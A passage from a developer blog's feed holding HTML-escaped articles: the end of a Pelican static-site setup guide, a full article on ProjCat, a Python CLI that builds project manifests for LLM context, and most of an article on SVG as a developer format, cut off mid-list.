  &lt;h2&gt;Creating the First Real Articles&lt;/h2&gt;
  &lt;p&gt;
    Let’s create two sample files to validate the setup. First, an article:
  &lt;/p&gt;

  &lt;pre class="language-text"&gt;
&lt;code&gt;
Title: Setting Up Pelican Like a Developer
Date: 2025-06-01
Category: static-sites
Tags: pelican, python, tooling
Summary: A clean, maintainable Pelican project structure from day one.
FeaturedImage: images/banners/setup.svg
Views: 36
&lt;/code&gt;
  &lt;/pre&gt;

  &lt;p&gt;
    And a page:
  &lt;/p&gt;

  &lt;pre class="language-text"&gt;
&lt;code&gt;
Title: About This Site
Date: 2025-06-01
Category: pages
Summary: The philosophy behind Static, But Smarter.
Template: page
&lt;/code&gt;
  &lt;/pre&gt;

  &lt;p&gt;
    Note that the page still carries a &lt;code&gt;Date&lt;/code&gt; field (required by Pelican
    for internal ordering) but we won’t display it in the template.
  &lt;/p&gt;

  &lt;h2&gt;Validating the Output&lt;/h2&gt;
  &lt;p&gt;
    Run &lt;code&gt;make build&lt;/code&gt; (or &lt;code&gt;pelican content&lt;/code&gt;) and inspect the
    generated URLs.
  &lt;/p&gt;

  &lt;p&gt;&amp;#8226; Open &lt;code&gt;output/articles/setting-up-pelican-like-a-developer.html&lt;/code&gt; — exists?&lt;br/&gt;
  &amp;#8226; Open &lt;code&gt;output/about/&lt;/code&gt; — loads &lt;code&gt;index.html&lt;/code&gt;?&lt;br/&gt;
  &amp;#8226; Check &lt;code&gt;output/extra/robots.txt&lt;/code&gt; if you placed one.
  &lt;/p&gt;

  &lt;p&gt;
    If everything looks right, your content architecture is solid. From here on,
    every new article you write will automatically land in the correct place, with
    clean, predictable URLs.
  &lt;/p&gt;

  &lt;h2&gt;Tying It Together: The Metadata Philosophy&lt;/h2&gt;
  &lt;p&gt;
    We haven’t written a single line of template logic yet, but the groundwork is
    laid. The metadata fields we defined will power every “dynamic” feature we
    build later: search indexes, filtered lists, related‑post suggestions, and
    even automated thumbnail generation.
  &lt;/p&gt;
  &lt;p&gt;
    The key takeaway: &lt;strong&gt;your front matter is your API&lt;/strong&gt;. Treat it with
    the same rigour you’d apply to a database schema. The next article will take
    this structured data and give it a presentable, responsive face.
  &lt;/p&gt;
&lt;/section&gt;</content><category term="Programming"></category><category term="pelican"></category><category term="content architecture"></category><category term="metadata"></category><category term="front matter"></category><category term="markdown"></category><category term="static site generator"></category><category term="file naming"></category><category term="taxonomies"></category></entry><entry><title>ProjCat: Deterministic Project Manifests for LLM Context Injection</title><link href="https://mosaid.xyz/articles/projcat-deterministic-project-manifests-for-llm-context-injection-13.html" rel="alternate"></link><published>2026-05-15T22:30:25+00:00</published><updated>2026-05-15T22:30:25+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-15:/articles/projcat-deterministic-project-manifests-for-llm-context-injection-13.html</id><summary type="html">&lt;p&gt;This article explores projcat, a Python CLI tool that generates structured project manifests—directory trees and sliced file contents—optimized for feeding into LLMs. It covers architecture, advanced slicing features, and integration into developer workflows, emphasizing deterministic, reproducible context injection for AI-assisted coding.&lt;/p&gt;</summary><content type="html">&lt;h1&gt;ProjCat: Deterministic Project Manifests for LLM Context Injection&lt;/h1&gt;

&lt;h2&gt;Why Another Tool?&lt;/h2&gt;
&lt;p&gt;Large language models are transforming how we write and maintain code, but they have a fundamental limitation: the context window. Dumping an entire repository into a prompt is rarely feasible, and ad‑hoc copy‑pasting leads to incomplete context, wasted tokens, and non‑reproducible results. We needed a tool that could produce &lt;strong&gt;exactly&lt;/strong&gt; the right slice of a project—structured, repeatable, and easy to pipe into any LLM. ProjCat was built to fill that gap.&lt;/p&gt;

&lt;h2&gt;What ProjCat Is&lt;/h2&gt;
&lt;p&gt;ProjCat is a single Python command‑line utility that generates a &lt;em&gt;project manifest&lt;/em&gt;: a single text file containing a directory tree diagram and the contents of selected files, with powerful slicing controls. It is designed for developers who work with LLMs, AI agents, and automation pipelines that require concise, deterministic snapshots of a codebase.&lt;/p&gt;
&lt;p&gt;Key capabilities:&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Deterministic tree generation&lt;/strong&gt; — every run with the same arguments produces exactly the same output, modulo file modifications.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Glob‑based include/exclude&lt;/strong&gt; — you control what goes into the manifest, with sensible default exclusions for virtualenvs, node_modules, `.git`, and binary artifacts.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Content slicing&lt;/strong&gt; — include only the relevant parts of a file, either by pattern (`--from`, `--until`) or by line count (first/last N lines, with per‑file overrides).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;LLM‑friendly output format&lt;/strong&gt; — a single plain‑text file with clear section headers, metadata, and no encoding surprises.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Verbose diagnostics and tree‑only mode&lt;/strong&gt; — useful for manual inspection before feeding a huge manifest to an AI.&lt;/p&gt;

&lt;h2&gt;Architecture Overview&lt;/h2&gt;
&lt;p&gt;ProjCat’s architecture is intentionally simple, favouring composability over monolithic design. The pipeline looks like this:&lt;/p&gt;
&lt;pre class="language-text"&gt;
    &lt;code class="language-text"&gt;
User → CLI (cli.py)
       │
       ├─ Collector (collector.py)
       │     └─ walks filesystem, applies includes/excludes
       ├─ TreeGenerator (tree.py)
       │     └─ builds ASCII tree with include/exclude/collapse filters
       ├─ ContentSlicer (slicer.py)
       │     └─ pattern‑ and line‑based slicing
       └─ ManifestWriter (manifest.py)
             └─ assembles the final manifest file
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;All modules are decoupled. The &lt;code&gt;Collector&lt;/code&gt; returns a flat list of &lt;code&gt;Path&lt;/code&gt; objects; the &lt;code&gt;TreeGenerator&lt;/code&gt; and &lt;code&gt;ContentSlicer&lt;/code&gt; operate on that list independently. This design makes it easy to extend or replace any component.&lt;/p&gt;

&lt;h2&gt;Installation &amp;amp; First Run&lt;/h2&gt;
&lt;h1&gt;&lt;/h1&gt;
&lt;p&gt;ProjCat is a single Python package. just download it from &lt;a href="/extra/archives/projcat.zip" target="_blank"&gt;this link&lt;/a&gt; then extract it in a safe directory, you can run it directly &lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

python ~/Documents/gits/projcat/main.py

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;The simplest invocation includes every file in the current directory (minus default excludes):&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This creates &lt;code&gt;~/project_dirname_manifest.txt&lt;/code&gt;. To see what was collected without generating a manifest, use &lt;code&gt;--list&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat --list
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Controlling What Goes In&lt;/h2&gt;
&lt;p&gt;Fine‑grained control is where ProjCat shines. You include files and directories with &lt;code&gt;-i&lt;/code&gt; and exclude with &lt;code&gt;-e&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat -i src tests -e __pycache__ *.log
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Glob patterns work intuitively, and you can even mix directory‑level includes with per‑file globs:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat -i app *.py:20 utils.py:-10
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Here &lt;code&gt;*.py:20&lt;/code&gt; limits every matched Python file to its first 20 lines, while &lt;code&gt;utils.py:-10&lt;/code&gt; takes the last 10 lines of &lt;code&gt;utils.py&lt;/code&gt;. The colon‑appended number is a per‑file line limit (negative = last N lines).&lt;/p&gt;
&lt;p&gt;If you need the same limit globally, use &lt;code&gt;-n&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat -n 30            # first 30 lines of every file
projcat -n 20 --tail      # last 20 lines of every file

&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Content Slicing: Patterns and Line Limits&lt;/h2&gt;
&lt;p&gt;Line‑based slicing is straightforward, but often you want to extract a logical block—like a class or a function. ProjCat supports &lt;code&gt;--from&lt;/code&gt; and &lt;code&gt;--until&lt;/code&gt; pattern matching:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat --from "class UserService" --until "^class "
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This includes everything from the first occurrence of &lt;code&gt;class UserService&lt;/code&gt; up to (and including) the next line that starts with &lt;code&gt;class &lt;/code&gt;. When both patterns are the same string, ProjCat extracts the content between the first two occurrences—useful for grabbing the implementation between two &lt;code&gt;import&lt;/code&gt; blocks.&lt;/p&gt;
&lt;p&gt;You can protect sensitive or large files from slicing with &lt;code&gt;--no-slice&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat --from "def " --no-slice README.md CHANGELOG.md
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This ensures those files are included in full, while every other text file gets sliced at the first &lt;code&gt;def &lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;Core Implementation: A Glimpse Inside&lt;/h2&gt;
&lt;p&gt;The collector is the heart of the system. Here is a simplified excerpt showing how it walks directories and applies exclusions:&lt;/p&gt;
&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

def _walk_directory(self, dir_path: Path):
    """Walk directory and add all files."""
    added_count = 0
    for root, dirs, files in os.walk(dir_path):
        root_path = Path(root)
        # Remove excluded directories during walk
        dirs[:] = [
            d for d in dirs
            if not self._is_excluded_dir(root_path / d)
        ]
        for file in files:
            file_path = root_path / file
            rel_path = self._get_relative_path(file_path)
            if rel_path not in self.all_files:
                self.all_files.add(rel_path)
                added_count += 1
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;_is_excluded_dir&lt;/code&gt; check prunes the walk early, avoiding expensive recursion into ignored folders. Binary files are detected via &lt;code&gt;UnicodeDecodeError&lt;/code&gt; when reading, and marked as &lt;code&gt;[BINARY FILE]&lt;/code&gt; in the manifest.&lt;/p&gt;

&lt;h2&gt;The Manifest Structure&lt;/h2&gt;
&lt;p&gt;A generated manifest always begins with a header containing metadata (project name, timestamp, root path, active slicing options). Next comes the directory tree, marking each included file with a &lt;code&gt;✓&lt;/code&gt;. Finally, each included file’s content is written inside a distinct bordered block, with optional slicing annotations.&lt;/p&gt;
&lt;p&gt;Example output snippet:&lt;/p&gt;
&lt;pre class="language-text"&gt;
    &lt;code class="language-text"&gt;

================================================================================
PROJECT MANIFEST
Generated: 2026-05-15 20:49:47
Project: projcat
Root: /home/user/projcat
Tree depth: unlimited
================================================================================

DIRECTORY STRUCTURE (✓ = included in manifest)
--------------------------------------------------------------------------------

├── ✓ __init__.py
├── ✓ cli.py
├── ✓ collector.py
├── ✓ main.py
├── ✓ manifest.py
├── ✓ slicer.py
├── ✓ tree.py
└── ✓ utils.py

================================================================================

FILE CONTENTS (only included files shown below)
================================================================================

╔══════════════════════════════════════════════════════════════════════════════╗
║ FILE: slicer.py                                                              ║
║ Size:    7,041 bytes | Modified: 2026-02-23 23:11:20                         ║
║ Slicing: first 10 lines                                                      ║
╚══════════════════════════════════════════════════════════════════════════════╝

... (sliced content)
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Integration into LLM Workflows&lt;/h2&gt;
&lt;p&gt;The manifest is meant to be consumed directly by an LLM. In practice, I often run:&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;
projcat -i src --from "def " --no-slice conftest.py -o /tmp/ctx.txt
cat /tmp/ctx.txt | llm --system "You are a senior Python developer."
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;This gives the model a focused view of the codebase, with test‑configuration kept intact and only function‑level slices of the application logic. Because the manifest is a plain text file, it integrates with any CLI‑based LLM tool or script.&lt;/p&gt;
&lt;p&gt;For AI agents that iterate on code, ProjCat’s determinism guarantees that the same set of flags always produces the same slice, making it possible to version‑control the manifest &lt;em&gt;generation command&lt;/em&gt; alongside the code.&lt;/p&gt;

&lt;h2&gt;Performance Considerations&lt;/h2&gt;
&lt;p&gt;ProjCat is designed for projects with up to a few thousand files. It walks the entire directory tree once and keeps relative paths in memory. On a modern SSD, generating a manifest for a 2,000‑file project takes under a second. The biggest bottleneck is reading and writing file contents, which is why slicing (especially early termination with &lt;code&gt;--from&lt;/code&gt;) can dramatically reduce manifest size and runtime.&lt;/p&gt;
&lt;p&gt;For very large monorepos, consider combining &lt;code&gt;--tree-only&lt;/code&gt; with selective includes to first inspect the structure, then rerun with focused slicing.&lt;/p&gt;

&lt;h2&gt;Tradeoffs &amp;amp; Design Decisions&lt;/h2&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Plain text over JSON:&lt;/strong&gt; JSON would be machine‑readable but adds noise for an LLM. The current format is already easy to parse while being human‑ and LLM‑friendly.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Line‑based slicing vs. AST:&lt;/strong&gt; We deliberately avoided AST‑based slicing. Pattern matching is simpler, language‑agnostic, and fast. It won’t always capture exactly one function (e.g., nested classes), but it handles 90% of real‑world use cases.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;No streaming:&lt;/strong&gt; The whole manifest is built in memory. This is acceptable because a manifest rarely exceeds a few megabytes—otherwise the LLM context would be overwhelmed anyway.&lt;/p&gt;

&lt;h2&gt;Future Directions&lt;/h2&gt;
&lt;p&gt;ProjCat is intentionally minimal, but several enhancements are on the radar:&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Incremental manifests&lt;/strong&gt; — only re‑generate sections for files that changed since the last run.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Streaming output&lt;/strong&gt; — pipe the manifest directly to stdout for immediate LLM consumption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plug‑in slicing modules&lt;/strong&gt; — allow language‑specific slicers (e.g., extract only function bodies) behind a common interface.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;ProjCat embodies a philosophy of &lt;em&gt;deterministic tooling for AI‑assisted development&lt;/em&gt;. By treating the prompt‑building step as an engineering problem—versionable, repeatable, and composable—we remove the guesswork from feeding code to LLMs. It’s a small piece of the puzzle, but one that makes daily AI‑augmented coding significantly more effective.&lt;/p&gt;</content><category term="Programming"></category><category term="projcat"></category><category term="cli"></category><category term="python"></category><category term="llm"></category><category term="code-context"></category><category term="manifest"></category><category term="static-analysis"></category><category term="developer-tools"></category></entry><entry><title>Why SVG Is the Most Underrated Format for Developers</title><link href="https://mosaid.xyz/articles/why-svg-is-the-most-underrated-format-for-developers-1.html" rel="alternate"></link><published>2026-05-11T00:12:07+00:00</published><updated>2026-05-11T00:12:07+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-11:/articles/why-svg-is-the-most-underrated-format-for-developers-1.html</id><summary type="html">&lt;p&gt;SVG is typically dismissed as a designer's format, but for developers it behaves more like source code — versionable, composable, scriptable, and pipeline-friendly. This article explores SVG as an engineering primitive for procedural graphics, automated banner generation, accessible data visualization, and deterministic build systems.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;The Format Developers Overlook&lt;/h2&gt;

&lt;p&gt;SVG occupies a strange position in web development. Designers reach for it when they need resolution-independence. Frontend developers treat it as an output target — something exported from Figma, optimized through SVGO, and dropped into an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. Backend developers mostly ignore it.&lt;/p&gt;

&lt;p&gt;But SVG isn't a designer's format. It's an engineering format that happens to render in browsers.&lt;/p&gt;

&lt;p&gt;I've spent the past year building a system that generates Open Graph banners programmatically from SVG templates. Along the way, I discovered that SVG behaves far more like source code than any image format has a right to. It's diffable. It's composable. It supports variables, loops, conditionals — not natively, but through the tooling ecosystems that naturally wrap it. It integrates into CI/CD pipelines the same way CSS or JavaScript does.&lt;/p&gt;

&lt;p&gt;Here's what makes SVG genuinely powerful for developers, and why I think it's the most underrated format in our toolbox.&lt;/p&gt;

&lt;h2&gt;SVG as Source Code&lt;/h2&gt;

&lt;p&gt;The fundamental difference between SVG and every other image format is this: SVG is text. That sounds trivial, but the implications cascade through every aspect of a developer workflow.&lt;/p&gt;

&lt;h3&gt;Version Control That Actually Works&lt;/h3&gt;

&lt;p&gt;Binary images are opaque blobs. When you change a PNG, Git stores an entirely new blob. Diffs are meaningless. Code review of visual assets is impossible without external tooling — you're reduced to "LGTM" based on trust and a screenshot.&lt;/p&gt;

&lt;p&gt;SVG changes are legible diffs. When I adjust a banner template's color from &lt;code&gt;#1a1a2e&lt;/code&gt; to &lt;code&gt;#16213e&lt;/code&gt;, the diff shows exactly that one line change. A reviewer can understand the modification without rendering anything.&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Meaningful diffs:&lt;/strong&gt; Every attribute change is a readable line in a pull request.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Blameable history:&lt;/strong&gt; &lt;code&gt;git blame&lt;/code&gt; on an SVG file tells you who changed which element and when.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Branch and merge:&lt;/strong&gt; Two developers can modify different parts of the same SVG — one adjusting text positioning, another tweaking gradient stops — and merge without conflicts most of the time.&lt;/p&gt;

&lt;p&gt;This property alone transforms SVG from an asset format into a development artifact. I treat my banner SVGs the same way I treat any other source file in the repository.&lt;/p&gt;

&lt;h3&gt;Composability Through Templates&lt;/h3&gt;

&lt;p&gt;SVG isn't just versionable — it's composable. Because it's XML, it slots naturally into template engines. Jinja2, ERB, Go templates, even shell &lt;code&gt;sed&lt;/code&gt; substitutions — they all work on SVG because SVG is just structured text.&lt;/p&gt;

&lt;p&gt;Here's a simplified version of how my banner generator works:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
template = '''&amp;lt;svg xmlns="http://www.w3.org/2000/svg"
         viewBox="0 0 1200 630"&amp;gt;
  &amp;lt;defs&amp;gt;
    &amp;lt;linearGradient id="bg" x1="0%" y1="0%" x2="100%" y2="100%"&amp;gt;
      &amp;lt;stop offset="0%" style="stop-color:"/&amp;gt;
      &amp;lt;stop offset="100%" style="stop-color:"/&amp;gt;
    &amp;lt;/linearGradient&amp;gt;
  &amp;lt;/defs&amp;gt;
  &amp;lt;rect width="1200" height="630" fill="url(#bg)"/&amp;gt;
  &amp;lt;text x="60" y="120" font-family="JetBrains Mono"
        font-size="48" fill=""&amp;gt;

  &amp;lt;/text&amp;gt;
&amp;lt;/svg&amp;gt;'''

rendered = Template(template).render(
    gradient_start="#1a1a2e",
    gradient_end="#16213e",
    text_color="#e94560",
    title=article_title
)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This isn't a special SVG feature. It's just what happens when your image format is text that plays nicely with string templating. PNG doesn't give you this. WebP doesn't. JPEG definitely doesn't.&lt;/p&gt;

&lt;h2&gt;Automation and Build Pipelines&lt;/h2&gt;

&lt;p&gt;Once you accept SVG as source code, it becomes a natural participant in build systems. I don't open Inkscape to modify banners. I run a Python script. The script reads metadata from article frontmatter, feeds it through templates, and produces final SVGs. Then a second pass converts those SVGs to PNG for platforms that require rasterized Open Graph images.&lt;/p&gt;

&lt;p&gt;The pipeline looks like this:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Source:&lt;/strong&gt; Article markdown with TOML frontmatter containing title, summary, tags.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Template:&lt;/strong&gt; SVG file with Jinja2 placeholders.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Build step:&lt;/strong&gt; Python script reads metadata, renders template, writes SVG to output directory.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Rasterization:&lt;/strong&gt; &lt;code&gt;librsvg&lt;/code&gt; or headless Chromium converts to PNG for compatibility.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Deployment:&lt;/strong&gt; Output files land alongside the built HTML.&lt;/p&gt;

&lt;p&gt;Every step is deterministic. The same inputs produce identical outputs every time. There's no GUI state, no manual export settings, no "I forgot which font I used." The entire visual identity of the site is version-controlled and reproducible.&lt;/p&gt;

&lt;p&gt;This is infrastructure-as-code thinking applied to graphics. And SVG is the only format that makes it possible.&lt;/p&gt;

&lt;h2&gt;Scripting and Interactivity&lt;/h2&gt;

&lt;p&gt;SVG isn't a static format. It embeds JavaScript. It responds to CSS. It fires DOM events. Inside a browser, an inline SVG element is part of the document tree — you can query it with &lt;code&gt;document.querySelector&lt;/code&gt;, attach event listeners, and manipulate attributes in real time.&lt;/p&gt;

&lt;p&gt;This has practical applications that go far beyond decorative animations:&lt;/p&gt;

&lt;h3&gt;Data Visualization Without Libraries&lt;/h3&gt;

&lt;p&gt;D3.js exists because SVG is scriptable. Every chart, every force-directed graph, every choropleth map — they're all just SVG elements being created, updated, and destroyed by JavaScript. The format's DOM integration makes this natural. You're not drawing pixels; you're managing a scene graph.&lt;/p&gt;

&lt;pre class="language-javascript"&gt;
&lt;code class="language-javascript"&gt;
// Add a data point to an existing SVG chart
const svg = document.querySelector('#chart');
const circle = document.createElementNS(
  'http://www.w3.org/2000/svg',
  'circle'
);
circle.setAttribute('cx', xPosition);
circle.setAttribute('cy', yPosition);
circle.setAttribute('r', radius);
circle.setAttribute('fill', '#e94560');
svg.appendChild(circle);
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Interactive Documentation&lt;/h3&gt;

&lt;p&gt;I've used inline SVGs for architecture diagrams that respond to clicks — expanding subsystems, highlighting data flow paths, revealing annotations. This turns a static diagram into a navigable document. Readers can explore system topology at their own pace, drilling into the components they care about.&lt;/p&gt;

&lt;p&gt;The interactivity isn't a gimmick. It's the difference between "here's a picture of the architecture" and "here's the architecture — explore it."&lt;/p&gt;

&lt;h2&gt;Accessibility That's Actually Good&lt;/h2&gt;

&lt;p&gt;Image accessibility on the web is fundamentally broken. The &lt;code&gt;alt&lt;/code&gt; attribute on an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag is a workaround — a single string attempting to summarize potentially complex visual information. For charts, diagrams, and data visualizations, this fails completely.&lt;/p&gt;

&lt;p&gt;SVG gives you real accessibility primitives:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;&lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; element:&lt;/strong&gt; A brief, accessible name for the graphic — similar to &lt;code&gt;alt&lt;/code&gt; text but structured as a proper element.&lt;br&gt;
&amp;#8226; &lt;strong&gt;&lt;code&gt;&amp;lt;desc&amp;gt;&lt;/code&gt; element:&lt;/strong&gt; Extended description, not limited to a single attribute value. You can explain a complex chart in paragraphs.&lt;br&gt;
&amp;#8226; &lt;strong&gt;ARIA attributes:&lt;/strong&gt; &lt;code&gt;role="img"&lt;/code&gt;, &lt;code&gt;aria-labelledby&lt;/code&gt;, &lt;code&gt;aria-describedby&lt;/code&gt; connect these elements to assistive technology.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Structural semantics:&lt;/strong&gt; Groups (&lt;code&gt;&amp;lt;g&amp;gt;&lt;/code&gt;) can carry their own titles and descriptions, making sub-components independently accessible.&lt;/p&gt;

&lt;p&gt;A data visualization built this way doesn't just have one fallback string. It has a navigable, hierarchical description that screen readers can traverse. This matters for technical documentation, dashboards, and any context where the visual carries information that someone might need to understand non-visually.&lt;/p&gt;

&lt;p&gt;PNG can't do this. WebP can't. Only SVG treats accessibility as a first-class concern, because only SVG carries its semantics as document structure rather than opaque pixels.&lt;/p&gt;

&lt;h2&gt;Responsiveness Without Tricks&lt;/h2&gt;

&lt;p&gt;Responsive images are a solved problem in raster formats, but the solution is inelegant: multiple resolutions, &lt;code&gt;srcset&lt;/code&gt; attributes, media queries, and browsers guessing which file to download. It works, but it's heavy.&lt;/p&gt;

&lt;p&gt;SVG is naturally resolution-independent. A single file renders sharply at any size, on any display. On a 4K monitor with a 2x device pixel ratio, the same SVG that looks perfect on a 1080p screen renders with no additional bandwidth and no loss of quality. The browser's vector renderer handles the scaling; you don't need multiple file variants.&lt;/p&gt;

&lt;p&gt;Combine this with CSS media queries &lt;em&gt;inside&lt;/em&gt; the SVG, and you get responsive behavior without JavaScript:&lt;/p&gt;

&lt;pre class="language-xml"&gt;
&lt;code class="language-xml"&gt;
&amp;lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400"&amp;gt;
  &amp;lt;style&amp;gt;
    text { font-family: 'JetBrains Mono'; }
    @media (max-width: 400px) {
      .detail-text { display: none; }
      text { font-size: 14px; }
    }
    @media (min-width: 401px) {
      .detail-text { display: inline; }
      text { font-size: 18px; }
    }
  &amp;lt;/style&amp;gt;
  &amp;lt;text x="20" y="40"&amp;gt;System Overview&amp;lt;/text&amp;gt;
  &amp;lt;text class="detail-text" x="20" y="80"&amp;gt;
    Showing 14 interconnected services
  &amp;lt;/text&amp;gt;
&amp;lt;/svg&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The same file adapts its information density to the viewport. On small screens, it simplifies. On large screens, it adds detail. This is one file, one HTTP request, zero JavaScript.&lt;/p&gt;

&lt;h2&gt;Animation as a First-Class Feature&lt;/h2&gt;

&lt;p&gt;SVG animation lives in a sweet spot that CSS animations and canvas-based approaches both miss. SMIL animations (the &lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;animateTransform&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;animateMotion&amp;gt;&lt;/code&gt; elements) are declarative, GPU-accelerated in most browsers, and don't require JavaScript.&lt;/p&gt;

&lt;p&gt;But the real power isn't SMIL — it's that SVG elements &lt;em&gt;are&lt;/em&gt; DOM elements. You can animate them with CSS transitions and keyframes using the same properties you'd use on any HTML element. You can also drive them imperatively with &lt;code&gt;requestAnimationFrame&lt;/code&gt; for complex, frame-by-frame control.&lt;/p&gt;

&lt;p&gt;This means SVG animation integrates with your existing tooling. Your CSS pipeline handles SVG animation. Your JavaScript framework can manipulate SVG elements through its standard component model. There's no special animation library required — though libraries like GSAP and Anime.js certainly make advanced work more pleasant.&lt;/p&gt;

&lt;p&gt;For technical documentation, this enables things like:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Animated architecture diagrams:&lt;/strong&gt; Data flow arrows that pulse to indicate direction.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Step-through sequences:&lt;/strong&gt; Diagrams that build themselves as the user scrolls.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Live status indicators:&lt;/strong&gt; System health visualizations that update in real time.&lt;/p&gt;

&lt;h2&gt;Procedural Graphics and Generative Art&lt;/h2&gt;

&lt;p&gt;Because SVG is text, any language that can write strings can generate SVG. This opens the door to procedural graphics — images defined by algorithms rather than drawn by hand.&lt;/p&gt;

&lt;p&gt;Here's a trivial example that generates a grid of colored rectangles:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def generate_grid(rows, cols, cell_size, palette):
    """Generate an SVG grid of colored rectangles."""
    elements = []
    for row in range(rows):
        for col in range(cols):
            x = col * cell_size
            y = row * cell_size
            color = palette[(row + col) % len(palette)]
            rect = (
                f'&amp;lt;rect x="{x}" y="{y}" '
                f'width="{cell_size}" height="{cell_size}" '
                f'fill="{color}" stroke="#1a1a2e" stroke-width="1"/&amp;gt;'
            )
            elements.append(rect)

    width = cols * cell_size
    height = rows * cell_size

    svg = f'''&amp;lt;svg xmlns="http://www.w3.org/2000/svg"
         viewBox="0 0 {width} {height}"&amp;gt;
      {"".join(elements)}
    &amp;lt;/svg&amp;gt;'''
    return svg
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This scales to far more interesting territory. Generative art systems — processing-style sketches, particle systems, flow fields — can output SVG instead of raster pixels. The output is infinitely scalable, editable post-generation, and trivially customizable by modifying the generation parameters rather than re-rendering.&lt;/p&gt;

&lt;p&gt;I've used this approach for:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Deterministic avatars:&lt;/strong&gt; Generating user icons from hash values — reproducible, unique, and lightweight.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Background patterns:&lt;/strong&gt; SVG-based textures that tile seamlessly, weigh under a kilobyte, and match the site's color scheme programmatically.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Code architecture diagrams:&lt;/strong&gt; Auto-generated dependency graphs that render as SVG and can be styled with CSS to match documentation themes.&lt;/p&gt;

&lt;h2&gt;The Tradeoffs (Because There Are Always Tradeoffs)&lt;/h2&gt;

&lt;p&gt;SVG isn't universally superior. I'm not making that argument. The format has real limitations that matter in production:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Photographic content:&lt;/strong&gt; SVG is terrible for photos. It's a vector format. Use JPEG or WebP for raster images — that's what they're for.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Extremely complex scenes:&lt;/strong&gt; A vector map of every road in a country will produce an enormous file. GPU rasterization of complex SVGs can be slower than decoding a carefully compressed bitmap.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Renderer inconsistencies:&lt;/strong&gt; Different browsers implement the SVG spec with slightly different interpretations. Font rendering varies. Filter effects vary. Test across engines.&lt;br&gt;
